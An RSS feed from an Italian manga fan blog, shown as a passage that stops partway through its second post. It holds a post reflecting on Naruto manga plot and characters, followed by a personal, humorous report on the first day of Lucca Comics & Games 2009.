<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>komixjam.it &#187; Angolo del blurry</title>
	<atom:link href="http://www.komixjam.it/category/angolo-del-blurry/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.komixjam.it</link>
	<description>Manga, comics fumetti ecc...</description>
	<lastBuildDate>Thu, 18 Mar 2010 11:52:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>L&#8217;Angolo del Blurry #24  &#8211; Here&#8217;s my present</title>
		<link>http://www.komixjam.it/langolo-del-blurry-24-heres-my-present/</link>
		<comments>http://www.komixjam.it/langolo-del-blurry-24-heres-my-present/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 22:07:05 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[blurry]]></category>
		<category><![CDATA[Naruto]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=21290</guid>
		<description><![CDATA[ Mentre fuori nevica e il Natale si avvicina, mi trovo un Venerdì sera senza far niente, perché per qualche strana ragione ho sbagliato a tenere il conto dei miei impegni e la telefonata di un amico mi ha fortunosamente ricordato che questa sera posso evitare di sfidare i pesanti fiocchi che cadono su Firenze [...]


Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-14-battaglia-a-konoha/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!'>L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!</a></li>
<li><a href='http://www.komixjam.it/naruto-478-ita/' rel='bookmark' title='Permanent Link: Naruto 478 ITA'>Naruto 478 ITA</a></li>
<li><a href='http://www.komixjam.it/naruto-476-ita/' rel='bookmark' title='Permanent Link: Naruto 476 ITA'>Naruto 476 ITA</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><em><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-thumbnail wp-image-21291" title="01-chap-455-danzou-has-sharingan" src="http://www.komixjam.it/wp-content/uploads/2009/12/01-chap-455-danzou-has-sharingan-150x150.jpg" alt="01 chap 455 danzou has sharingan 150x150 LAngolo del Blurry #24    Heres my present" width="150" height="150" /> Mentre fuori nevica e il Natale si avvicina, mi trovo un Venerdì sera senza far niente, perché per qualche strana ragione ho sbagliato a tenere il conto dei miei impegni e la telefonata di un amico mi ha fortunosamente ricordato che questa sera posso evitare di sfidare i pesanti fiocchi che cadono su Firenze per recarmi in sala prove&#8230; Non suoneremo. La giornata è stata dura: è cominciata in un reparto di endoscopia digestiva dove ho affrontato da spettatore un turno di lavoro, cominciando a confrontarmi con i problemi della professione di medico. E&#8217; passata attraverso un pomeriggio passato a studiare svogliatamente, aspettando la neve. E adesso che i fiocchi cadono soffici ma inarrestabili, è come se qualcosa venisse a mancare. Non ho niente da fare. Mi sento leggero, vuoto, senza un posto nel mondo, e questa  è una sensazione che alle volte può essere incredibilmente piacevole&#8230; E allora &#8211; mi dico &#8211; che sia giunto il momento per riunirci ancora una volta intorno all&#8217;albero di Natale di Komixjam per parlare di ciò che ci unisce&#8230;?</em></p>
<p><em><span id="more-21290"></span><span style="font-style: normal;">E&#8217; passato molto tempo dalla nostra ultima discussione. Con il tempo, la trama del manga di Naruto si è notevolmente evoluta, e oggi mi piacerebbe condividere con voi alcune riflessioni che mi sono balenate per la mente in queste settimane, man mano che i capitoli si susseguivano di pari passo con le mie traduzioni. Anzitutto, una piccola nota: sapete che in queste ultime settimane ho ritrovato un grandissimo piacere nel plasmare le traduzioni nel tentativo di restituire l&#8217;atmosfera dell&#8217;originale&#8230;? Ho espresso più volte l&#8217;importanza che questo concetto ha per me. Ecco, ultimamente in questo processo sperimento un piacere che era un po&#8217; mancato nelle precedenti fasi del manga. Voi ve ne siete accorti&#8230;? Ma, bando alle ciance, veniamo a noi.</span></em></p>
<p>1) <strong>Naruto e Sakura</strong></p>
<p>Qui scadiamo nel patologico. Voglio dire. La ragazza che hai sempre sognato finalmente viene da te a confessarsi, e tu, senza neppure crederci per un istante la liquidi come una contaballe? Ma io al suo posto avrei detto: &#8220;Scusate ragazzi, io e Sakura torniamo tra un paio di orette, non cercateci&#8221;. E chissenefrega. Scherzi a parte, ho trovato un elemento di novità nella caratterizzazione dei personaggi di Sakura e Naruto, ma di tutto il manga in generale. I &#8220;giovani&#8221; di Konoha &#8211; Sasuke compreso &#8211; hanno assunto tutti quanti un&#8217;area funesta, quasi come una specie di consapevolezza dell&#8217;ineluttabilità della sofferenza alla quale stanno andando incontro. In un certo senso, Kishimoto sta introducendo la &#8220;fine del sogno&#8221;, la presa di coscienza che l&#8217;idillio della famosa promessa tra Sakura e Naruto non ha più ragione di esistere, perché le cose cambiano, le persone non sempre possono redimersi, e a volte &#8211; come dice Gaara &#8211; bisogna essere coscienti che se si vogliono avere delle responsabilità nei confronti della comunità, è indispensabile capire che bisogna rinunciare a qualcosa. Questa fase del manga,  i personaggi sono così drammaticamente affranti: una Sakura disperata che pur di interrompere una catena di dolore è disposta a calpestare il proprio amore, fingersi innamorata di Naruto solo per poter andare incontro a morte certa nel disperato tentativo di impedire all&#8217;amore della sua vita di cadere più in basso di quanto già non sia. Un Naruto che perde la lucidità ed i sensi di fronte alla quantità incommensurabile di eventi e sentimenti che si affollano nella sua mente, debole come non mai proprio quando è entrato in possesso di un potere immenso. Un Sasuke che ormai fa apparire sempre più improbabile la propria redenzione. I giovani di Konoha che decidono di farsi carico della più dolorosa delle missioni pur di evitare una guerra totale e fratricida. L&#8217;evoluzione dei personaggi sotto una luce così drammatica è secondo me una metafora della crescita, della transizione da ragazzini a giovani adulti, è il passaggio di testimone dalle vecchie alle nuove generazioni. In fondo ha ragione Danzou quando dice che senza vittime sacrificali non si costruisce la pace.</p>
<p>2) <strong>Danzou</strong></p>
<p>Che lo sharingan fosse diventato una moda si sapeva da un pezzo. Averne sei impiantati su un braccio credo possa essere considerata come una forma di parafilia, cioè, una specie di fetish. Danzou è un feticista degli sharingan, ma di tutte queste parti anatomiche in generale, a quanto sembra. In ogni caso, il vecchietto ha dato una grande dimostrazione di forza contro Sasuke. E&#8217; riuscito &#8211; sempre che il prossimo capitolo non mi smentisca &#8211; a far cadere in un genjutsu Sasuke con tanto di Mangekyou e Susanoo attivato. A quanto pare gallina vecchia fa buon brodo, e non escludo che questo scontro possa riservarci sorprese molto gradite. Tutto sommato, Sasuke non potràcontinuare ad abusare del mangekyou come sta facendo da quando l&#8217;ha attivato, e Danzou non mi sembra destinato a perdere la vita in questo scontro. Interessante anche il discorso tra i due. Riusciamo realmente a biasimare Danzou? Tutto sommato, quando, rivolgendosi a Sasuke, gli fa notare come la volontà di Itachi fosse diametralmente opposta a ciò che il giovane Uchiha è ormai intenzionato ad attuare, non fa altro che constatare un dato di fatto. Danzou è difficile da ascrivere precisamente ad una categoria, del tipo &#8220;buoni&#8221; o &#8220;cattivi&#8221;. Fondamentalmente, è portare delle istanze dei Conservatori, agisce nel pieno interesse della comunità, ma appartiene ad una generazione che ha sempre considerato gli shinobi come pedine sacrificabili in nome di un bene più grande. Il succo della questione è: possiamo chiamare questo &#8220;Pace&#8221;? Secondo il Naruto-pensiero, la pace è ben altro. E proprio su questo punto si gioca, a mio avviso, la parte più interessante degli sviluppi del manga. Mi spiego: Uzumaki Naruto deciderà di continuare a inseguire il suo &#8220;sogno&#8221; d&#8217;infanzia &#8211; la pace ad ogni costo, senza il sacrificio di nessuno &#8211; oppure accetterà l&#8217;idea che a questo mondo diventare adulti significa anche iniziare a sporcarsi le mani&#8230;? Nel primo caso, si prospetta un finale utopico, con un Naruto che deve tentare ad ogni costo di dimostrare che il suo Naruto-pensiero è più forte, che la rivoluzione si può fare, che si possono evitare gli errori delle generazioni passate, che non bisogna arrendersi. Nel secondo caso, il manga assumerebbe tinte molto più fosche, forse più realistiche ma meno adatte ad uno shounen&#8230;</p>
<p>3) <strong>Sasuke</strong></p>
<p>A partire dal suo forsennato uso del mangekyou sharingan, Sasuke si conferma sempre di più come indirizzato alla totale eprdita dell&#8217;umanità. Quando con Suigetsu si fermava a guardare il ponte intitolato a Naruto, era ben diverso da come lo vediamo negli ultimi capitoli. Adesso è effettivamente spietato, completamente disperato a schiavo di pulsioni che si auto-alimentano. Credete ancora in una sua possibile redenzione? Io, onestamente, no.</p>
<p>Per finire, una nota di apprezzamento per Naruto Shippuuden. L&#8217;anime, che questa settimana è arrivato all&#8217;inizio del disvelamento da parte di Madara della vera storia di Itachi, è ultimamente piuttosto piacevole e soddisfacente. L&#8217;animazione è nettamente migliorata, e anche le atmosfere del manga sono state ricreate con buona fedeltà, salvo forse dedicare troppo poco tempo al combattimento tra Sasuke e Itachi, che nel manga sembrava quasi interminabile&#8230; Comunque, una bella sorpresa. Particolarmente buono il doppiaggio di Madara!</p>
<p>Detto questo, a voi la parola!</p>


<p>Related posts:<ol><li><a href='http://www.komixjam.it/langolo-del-blurry-14-battaglia-a-konoha/' rel='bookmark' title='Permanent Link: L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!'>L&#8217;Angolo del Blurry #14 &#8211; Battaglia a Konoha!</a></li>
<li><a href='http://www.komixjam.it/naruto-478-ita/' rel='bookmark' title='Permanent Link: Naruto 478 ITA'>Naruto 478 ITA</a></li>
<li><a href='http://www.komixjam.it/naruto-476-ita/' rel='bookmark' title='Permanent Link: Naruto 476 ITA'>Naruto 476 ITA</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.komixjam.it/langolo-del-blurry-24-heres-my-present/feed/</wfw:commentRss>
		<slash:comments>66</slash:comments>
		</item>
		<item>
		<title>Lucca Comics &amp; Games 2009: Komixjam report &#8211; Day One!</title>
		<link>http://www.komixjam.it/komixjam-lucca-comics-report-day-one/</link>
		<comments>http://www.komixjam.it/komixjam-lucca-comics-report-day-one/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 22:28:41 +0000</pubDate>
		<dc:creator>Blurry</dc:creator>
				<category><![CDATA[Angolo del blurry]]></category>
		<category><![CDATA[Fiere ed Eventi]]></category>
		<category><![CDATA[Komixjam]]></category>
		<category><![CDATA[Lucca Comics]]></category>

		<guid isPermaLink="false">http://www.komixjam.it/?p=20156</guid>
		<description><![CDATA[ Immaginate&#8230; Avete organizzato un viaggio con i vostri amici. Come al solito, c&#8217;è l&#8217;organizzatore di turno, quello che è sempre capace di fare da collante sociale, il risolutore di ogni problema, l&#8217;anima della festa, il pilastro del gruppo. E&#8217; lui che si sta occupando di tutto, è lui il vostro punto di riferimento. Adesso [...]


Related posts:<ol><li><a href='http://www.komixjam.it/lucca-comics-games-2009-komixjam-report-day-three/' rel='bookmark' title='Permanent Link: Lucca Comics &#038; Games 2009: Komixjam report – Day three!'>Lucca Comics &#038; Games 2009: Komixjam report – Day three!</a></li>
<li><a href='http://www.komixjam.it/komixjam-lucca-comics-day-two/' rel='bookmark' title='Permanent Link: Lucca Comics &#038; Games 2009: Komixjam report – Day two!'>Lucca Comics &#038; Games 2009: Komixjam report – Day two!</a></li>
<li><a href='http://www.komixjam.it/incontra-komixjam-al-lucca-comics-2009/' rel='bookmark' title='Permanent Link: Incontra Komixjam al Lucca Comics 2009'>Incontra Komixjam al Lucca Comics 2009</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-thumbnail wp-image-20157" title="12549_1203562046502_1152138878_30606297_3623879_n" src="http://www.komixjam.it/wp-content/uploads/2009/11/12549_1203562046502_1152138878_30606297_3623879_n-150x150.jpg" alt="12549 1203562046502 1152138878 30606297 3623879 n 150x150 Lucca Comics & Games 2009: Komixjam report   Day One!" width="150" height="150" /> Immaginate&#8230; Avete organizzato un viaggio con i vostri amici. Come al solito, c&#8217;è l&#8217;organizzatore di turno, quello che è sempre capace di fare da collante sociale, il risolutore di ogni problema, l&#8217;anima della festa, il pilastro del gruppo. E&#8217; lui che si sta occupando di tutto, è lui il vostro punto di riferimento. Adesso immaginate di star preparando i bagagli, quando il vostro telefono squilla: leggete il suo nome sul display. E&#8217; lui, cosa vorrà dirvi? Vorrà ricordarvi di portare il biglietto del comics? Gentile! Ma la sua voce è un po&#8217; alterata: &#8220;Ho la febbre&#8221; dice, &#8220;Non potrò venire&#8221;. Così comincia il nostro Lucca Comics 2009, con la febbre a 38° del nostro Dena, col Blurry che tenta goffamente di prendere in mano la situazione. Così comincia. Ma la storia che vi racconterò è, manco a dirlo, una grande storia. Una storia di divertimento, cosplay, emozioni e colori folli, rumori assordanti, fiumi umani, residence sperduti nel nulla, grandi sorprese, gioie immense. Una storia di amici.</p>
<p><span id="more-20156"></span>E&#8217; chiaro: le premesse non erano le migliori. La domanda fondamentale che mi frullava in testa era: riusciremo senza Dena a compattare il gruppo e ad unire persone che si vedono oggi per la prima volta? Il mio umore non era certo dei migliori: dopo due inutili ore di microbiologia sarei dovuto andare alla stazione di Firenze a prendere Cipo e Akito e partire quindi alla volta di Lucca, dove Alex e la sua ragazza Leila ci aspettavano. Eppure, non appena Cipo e Akito si sistemano sui sedili della mia macchina e posso finalmente impostare come destinazione &#8220;mentale&#8221; il Lucca Comics, tutto comincia a cambiare. Nella mia testa comincia ad avvenire quello strano ed inspiegabile processo che avviene nell&#8217;imminenza di ogni Comics: si comincia ad escludere tutto il resto dalla propria mente, si inizia a fuggire verso una dimensione dove le noie della vita quotidiana sono sconosciute, dove ogni giornata è spesa senza pensieri, quasi senza ombre. Una dimensione dove esistete solamente tu ed i tuoi compagni. E che Cipo ed Akito siano ottimi compagni di viaggio lo capisco ben presto: il viaggio in macchina è sicuramente tra i più piacevoli che ricordi. Gli argomenti di discussione fluiscono spontaneamente e l&#8217;intesa  subito forte: si parla di università, di manga, di scanlation, di Giappone, di conflitti tra Firenze e Pisa, di sostanze stupefacenti e del nostro Dena malato. Così ho l&#8217;occasione di conoscere per la prima volta Akito, che fino a quel giorno altro non era che un nome nella mia rubrica degli indirizzi email, un nome su facebook (anche se questo non lo ricordavo, come avremo modo di constatare un paio di giorni dopo!) ed il nome di uno staffer di Komixjam. E ho anche occasione di ritrovare Cipo, che già era stato dei nostri durante Lucca Comics 2008. Insomma, quando dai finestrini della macchina iniziano a delinearsi il profilo della campagna lucchese e un sole splendente riempie di luce un meraviglioso cielo azzurro profondo, all&#8217;interno della vettura l&#8217;atmosfera è già amichevole e familiare&#8230; Ma soprattutto, non sto più pensando a niente. Un solo pensiero resiste: vivere al massimo i tre giorni che mi aspettano, consapevole che le gambe e la schiena dolenti saranno un prezzo che pagherò volentieri per avere in cambio l&#8217;esperienza umana di un nuovo Lucca Comics.</p>
<p>Fa sempre un certo effetto entrare a Lucca in macchina e fare il giro delle mura in cerca di un parcheggio. Inevitabilmente, si passa accanto al settore Lucca Games e si ha un primo colpo d&#8217;occhio di quello che sta accadendo lungo le mura. E&#8217; allora che pensi: &#8220;Eccoci, ci siamo!&#8221;. Quest&#8217;anno il colpo d&#8217;occhio è stato particolarmente impressionante ed eccitante: in effetti ben presto ci siamo resi conto che il Lucca Games era stato ulteriormente ampliato. Quest&#8217;anno, questo settore in continua crescita e dall&#8217;importanza sempre maggiore, era veramente gigantesco, e ce ne siamo resi conto Domenica pomeriggio, quando l&#8217;abbiamo visitato tutti quanti per la prima volta. Personalmente, non sono un grande fan del Games, ma devo riconoscere che quest&#8217;anno gli spazi più generosi e un&#8217;organizzazione molto migliore del flusso &#8220;umano&#8221; hanno permesso una fruizione molto migliore dei suoi contenuti. Altra novità è stata la posizione del palco: spostato su un bastione contiguo a quello che lo ospitava tradizionalmente, notevolmente ampliato e un po&#8217; delocalizzato rispetto al resto del Comics. Visto dalla macchina mentre arrivavamo si aveva già la netta percezione che quest&#8217;anno il suo allestimento fosse stato curato in maniera particolare.</p>
<p>In ogni caso, eccoci arrivati a Lucca, nel nostro primo giorno di fiera, Venerdì. Entriamo da Porta Elisa, la stessa dalla quale eravamo entrati l&#8217;anno precedente, e questo mi riporta alla mente i bei momenti trascorsi con Olrac, Erika, Fet e Maika&#8230; Tanto più che, orgogliosamente (e per mancanza di tempo!), ci siamo portati dietro lo stesso cartello di riconoscimento che avevamo utilizzato l&#8217;anno precedente, prontamente riassettato e tirato fuori dalla zona trofei di camera mia. L&#8217;emozione si fa più forte quando, man mano che avanziamo verso l&#8217;area dei padiglioni, vediamo aumentare la concentrazione di ragazzi e ragazze, uomini e donne, visibilmente accorsi per l&#8217;evento, nonché di cosplayers che già venerdì sfoggiavano le loro fatiche di sarti. C&#8217;è da dire, a questo proposito, che le condizioni metereologiche splendide hanno fatto sì che questo Comics sia stato particolarmente vivibile per i cosplayers, cosa che non si può dire dei Comics dominati invece da pioggia e freddo. Il giorno seguente, quando avrei indossato i sandali da shinobi per entrare nei panni di Tobi, sarei stato particolarmente felice di questo aspetto. Giunti ai primi padiglioni in piazza San Francesco, la realtà esterna al Comics non esiste più: la festa è cominciata, e noi ci tuffiamo nelle danze.  Mentre ci mettiamo in cerca di Alex e Leila, ci capita il primo grande imprevisto di questa edizione del Comics: l&#8217;incontro con i fan, cioè, con voi. Retroscena: l&#8217;anno scorso, pur venendo riconosciuti e fermati da un certo numero di persone, non eravamo riusciti a trovare questo grande contatto con i lettori di Komixjam, complice anche la nostra cattiva organizzazione.</p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20331" title="CIMG3603" src="http://www.komixjam.it/wp-content/uploads/2009/11/CIMG36031-225x300.jpg" alt="CIMG36031 225x300 Lucca Comics & Games 2009: Komixjam report   Day One!" width="225" height="300" />Non ci saremmo mai aspettati, quindi, di avere difficoltà nel muovere i primi passi all&#8217;interno della fiera proprio a causa vostra&#8230; Ovvero, nel giro di pochi minuti siamo stati fermati da tantissimi di voi: una dimostrazione di affetto e stima che sinceramente non ci aspettavamo e che ci ha colti un po&#8217; di sorpresa&#8230; Ci guardavamo, io, Cipo ed Akito, chiedendoci: &#8220;Ma siamo davvero così famosi???&#8221;. Evidentemente non immaginavamo neppure che il giorno dopo sarebbe stato anche meglio!</p>
<p style="text-align: left;">E&#8217; quindi il momento di incontrare Alex e Leila. Li troviamo finalmente dandoci appuntamento in piazza Napoleone, il centro nevralgico della vita del comics, e il luogo di incontri più gettonato, nonché teatro delle esibizioni in strada dei cosplayers di passaggio. L&#8217;incontro con Alex e Leila è bello ed intenso: dopo aver rotto le palle ad Alex per un paio d&#8217;anni propinandogli ogni venerdì sera la mia traduzione e frustandolo a sangue per farlo lavorare più in fretta, ecco che finalmente ci possiamo incontrare e possiamo guardarci in faccia, nonché cominciare quella che sarà una costante del nostro soggiorno lucchese: lo scambio dialettale sardo-toscano.</p>
<p style="text-align: left;">
<p style="text-align: left;"><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="size-medium wp-image-20330 alignleft" title="CIMG3627" src="http://www.komixjam.it/wp-content/uploads/2009/11/CIMG3627-162x216-custom.JPG" alt=" Lucca Comics & Games 2009: Komixjam report   Day One!" width="162" height="216" /> Chiacchierando con Alex veniamo ad apprendere un retroscena che inizia ad apparirci alquanto sinistro e minaccioso: pare infatti che il nostro residence a San Giuliano Terme sia tanto bello e accogliente quanto sperduto nel nulla&#8230; La bella coppietta sarda ha appreso questa divertente notizia a proprie spese, nel senso fisico ed economico del termine: non solo hanno dovuto spendere ben 23 euro di taxi per raggiungere il luogo, ma pare anche che il giorno dopo si siano fatti a piedi 45 minuti di discesa per i monti&#8230; Per il momento, comunque, non ci rendiamo pienamente conto del pericolo che ci attenderà la sera stessa.<br />
Infatti, è giunto il momento di tuffarci nel Comics, approfittando anche del fatto che il Venerdì ci offre una fiera affollata, sì, ma non ancora abbastanza da compromettere la viabilità all&#8217;interno degli stand. La nostra attenzione viene immediatamente catturata dal <strong>Japan Palace</strong>, una nuova struttura pensata appositamente per raccogliere tutti gli stand e le iniziative aventi a che fare col Sol Levante&#8230; Non ultimi gli stand gastronomici che, manco a dirlo, sono il motivo principale per cui il nostro interesse si sta facendo sempre più pressante. Il tempo di dare un&#8217;occhiata alla cartina, e il Blurry è pronto per guidare la sua ciurma verso l&#8217;anelata meta. Proprio a proposito della <em>cartina, </em>è proprio in questa occasione che si verifica un increscioso inconveniente&#8230; Guardate.</p>
<p style="text-align: left;">
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/eyotquzbZP8&amp;hl=it&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/eyotquzbZP8&amp;hl=it&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p style="text-align: center;">Dopo questo momento di umorismo a dir poco trash del quale mi scuso con tutti voi, siamo pronti per attraversare tutto il centro di Lucca per raggiungere il Real Collegio, la suggestiva cornice storica ed architettonica che ospita il Japan Palace.<img style=' display: block; margin-right: auto; margin-left: auto;'  class="size-medium wp-image-20334 aligncenter" title="CIMG3613" src="http://www.komixjam.it/wp-content/uploads/2009/11/CIMG3613-300x225.jpg" alt="CIMG3613 300x225 Lucca Comics & Games 2009: Komixjam report   Day One!" width="300" height="225" /></p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="size-medium wp-image-20335 alignleft" title="CIMG3612" src="http://www.komixjam.it/wp-content/uploads/2009/11/CIMG3612-225x300.jpg" alt="CIMG3612 225x300 Lucca Comics & Games 2009: Komixjam report   Day One!" width="180" height="240" />Appena entrati facciamo subito conoscenza con una simpatica mangaka italiana che si offre di fare un ritratto ad Alex in versione manga. Che dire, il risultato non è stato esattamente, uhm, somigliante, ma tant&#8217;è! Forse ci hai pure guadagnato, Alex, anche se nella foto onestamente non sembri troppo convinto!</p>
<p>Ad ogni modo, il Japan Palace mi è sembrato un&#8217;iniziativa simpatica ed interessante &#8211; grazie soprattutto alle mostre espositive che ospitava &#8211; ma molto orientato a trarre il massimo in termini economici sfruttando il marchio made in Japan, soprattutto per quanto riguarda l&#8217;aspetto gastronomico. Immancabile infatti lo stand dell&#8217;organizzazione culturale giapponese Lailac, direttamente da Firenze. La loro offerta di cibarie è discreta e di buona qualità, ma i prezzi del sake e delle bottiglie di birra Asahi è davvero esorbitante.</p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20336" title="100_9062" src="http://www.komixjam.it/wp-content/uploads/2009/11/100_9062-300x225.jpg" alt="100 9062 300x225 Lucca Comics & Games 2009: Komixjam report   Day One!" width="180" height="135" />Molto buoni invece gli onigiri al salmone e gli spiedini di pollo giapponesi, gli yakitori &#8211; come avremo modo di constatare il giorno seguente. Positiva invece la valutazione sulla qualità della merce in vendita negli stand. Drasticamente ridotta la quantità di contraffazioni cinesi e prezzi che, a onor del vero, segnano un generale miglioramento rispetto agli anni precedenti. In generale, comunque, le iniziative culturali sono state abbastanza interessanti anche se piuttosto &#8220;stereotipate&#8221;: il corso di calligrafia, di lingua, la vestizione con il tradizionale kimono. In ogni caso, devo dire, godibile.</p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20337" title="CIMG3615" src="http://www.komixjam.it/wp-content/uploads/2009/11/CIMG3615-300x225.jpg" alt="CIMG3615 300x225 Lucca Comics & Games 2009: Komixjam report   Day One!" width="300" height="225" />Usciti dal Japan Palace ci rendiamo conto che è ormai tardi e che ci conviene iniziare ad imboccare la via del ritorno al Residence per poter fare il check in, senza contare che in serata anche Excel e Steffi sarebbero arrivate da Pisa e che quindi dovevamo iniziare ad organizzarci per il loro salvataggio! Prima di ripartire una breve sosta sulle mura di fronte ad un tramonto di rara bellezza. Preso dall&#8217;emozione e dalla poesia del momento, mi rendo conto che la magia del Lucca Comics mi è ormai entrata nel circolo sanguigno, e negli occhi dei miei compagni leggo lo stesso rapimento. E&#8217; il momento di proclami, è il momento di fare conquiste, di pensare a Komixjam come a qualcosa di grande, qualcosa che supera le distanze geografiche e si concretizza. E&#8217; allora che capisco che Lucca è ormai nostra.<br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/FRj8lmlp9kY&amp;hl=it&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/FRj8lmlp9kY&amp;hl=it&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20340" title="lostaffdikomixjam" src="http://www.komixjam.it/wp-content/uploads/2009/11/lostaffdikomixjam.png-300x191.jpg" alt="lostaffdikomixjam.png 300x191 Lucca Comics & Games 2009: Komixjam report   Day One!" width="300" height="191" />Un&#8217;ultima foto densa di significati estetico-esistenziali di fronte al cielo che si fa crepuscolare sulle mura di Lucca, e siamo pronti a per partire alla volta di San Giuliano. Ma qui interviene un imprevisto: il mio senso dell&#8217;orientamento, tutt&#8217;altro che perfetto. Sbagliando clamorosamente, scambio porta Santa Maria con Porta Elisa costringendo tutto il gruppo a quasi 45 minuti di camminata intorno alle mura&#8230; Per carità, bella e poetica, ma sicuramente non un toccasana per i nostri corpi già sufficientemente devastati dal primo giorno di fiera! In ogni caso la camminata ci fornisce già una preziosa indicazione: l&#8217;amministrazione Lucchese ha deciso di multare sistematicamente di 78 euro qualsiasi vettura parcheggiata lungo il perimetro delle mura, una decisione assurda, tenuto conto che il parcheggio intorno alle mura è da sempre la salvezza dei visitatori del Lucca Comics. Man mano che ci avviciniamo alla macchina io e Akito siamo sempre più convinti che una bella multa ci attenda al varco&#8230; ma&#8230; MIRACOLO! La mia macchina è stata miracolosamente risparmiata dalla falce della municipale, e possiamo avviarci verso S. Giuliano con un peso in meno sulla coscienza, e 78 euro in più nel bancomat.</p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20342" title="100_8902" src="http://www.komixjam.it/wp-content/uploads/2009/11/100_8902-300x225.jpg" alt="100 8902 300x225 Lucca Comics & Games 2009: Komixjam report   Day One!" width="300" height="225" />E&#8217; adesso che inizia la nostra grande avventura, raggiungere San Giuliano, e dunque il residence. Ora, dovete sapere che io sono molto suscettibile quando sono alla guida. Mi irrito facilmente e ho bisogno di indicazioni chiare, precise e concise. Ben presto Alex e Leila devono arrendersi al buio della notte&#8230; Alex fallisce miseramente nei suoi vari tentativi di capire da quale strada stiamo arrivando a San Giuliano e di richiamare alla memoria la strada fatta in taxi (Alex, a fare le scan sei imbattibile, ma come navigatore&#8230; pffff!).</p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20341" title="navigakito" src="http://www.komixjam.it/wp-content/uploads/2009/11/navigakito-300x225.jpg" alt="navigakito 300x225 Lucca Comics & Games 2009: Komixjam report   Day One!" width="300" height="225" />Sto per entrare nel panico quando, incredibilmente e inaspettatamente, entra in funzione uno strumento che non immaginavo neppure di possedere in macchina: il <strong>NAVIGAKITO. </strong>Il Navigakito è l&#8217;unico ed originale navigatore satellitare by Matteo Paderno, semplice da usare, veloce, affidabile e sempre aggiornato. Una volta che lo usi non puoi farne più a meno, e lui non ti abbandona mai! Insomma, grazie alla calma pragmatica di Akito e a qualche tardiva reminescenza di Alex (ti vogliamo bene, lo sai!), arriviamo finalmente a San Giuliano, una ridente cittadina termale vicina a Pisa e a Lucca, e possiamo iniziare l&#8217;avvicinamento al residence. Quando Alex e Leila avevano parlato di una <em>mistica salita tutta tornanti che ti porta sul cucuzzulo di una montagna</em>, io pensavo che tutto sommato scherzassero e che si trattasse di un&#8217;esagerazione&#8230;</p>
<p><img style=' float: left; padding: 4px; margin: 0 7px 2px 0;'  class="alignleft size-medium wp-image-20343" title="100_8903" src="http://www.komixjam.it/wp-content/uploads/2009/11/100_8903-300x225.jpg" alt="100 8903 300x225 Lucca Comics & Games 2009: Komixjam report   Day One!" width="300" height="225" />Non appena imbocchiamo definitivamente &#8211; e non senza problemi di localizzazione &#8211; la via che conduce al residence, ci rendiamo conto che la situazione è anche più drammatica: una strada tortuosa, che si immette in una fitta boscaglia e pennella tornanti strettissimi e ripidi sui fianchi di una collina. La mia mente inizia a vacillare, in macchina inizia a diffondersi lo scoramento. Molti sono i pensieri che ci assillano:</p>
<p>Blurry: &#8220;Oh cazzo, il prossimo tornante così e vuoi vedere che vado fuori strada!!!&#8221;</p>
<p>Cipo: &#8220;Oddio&#8230; Ma in che razza di posto doveva prenotare Dena&#8230;&#8221;</p>
<p>Alex e Leila: &#8220;Visto? Ve l&#8217;avevamo detto noi&#8230; e voi che non ci credevate!&#8221;</p>
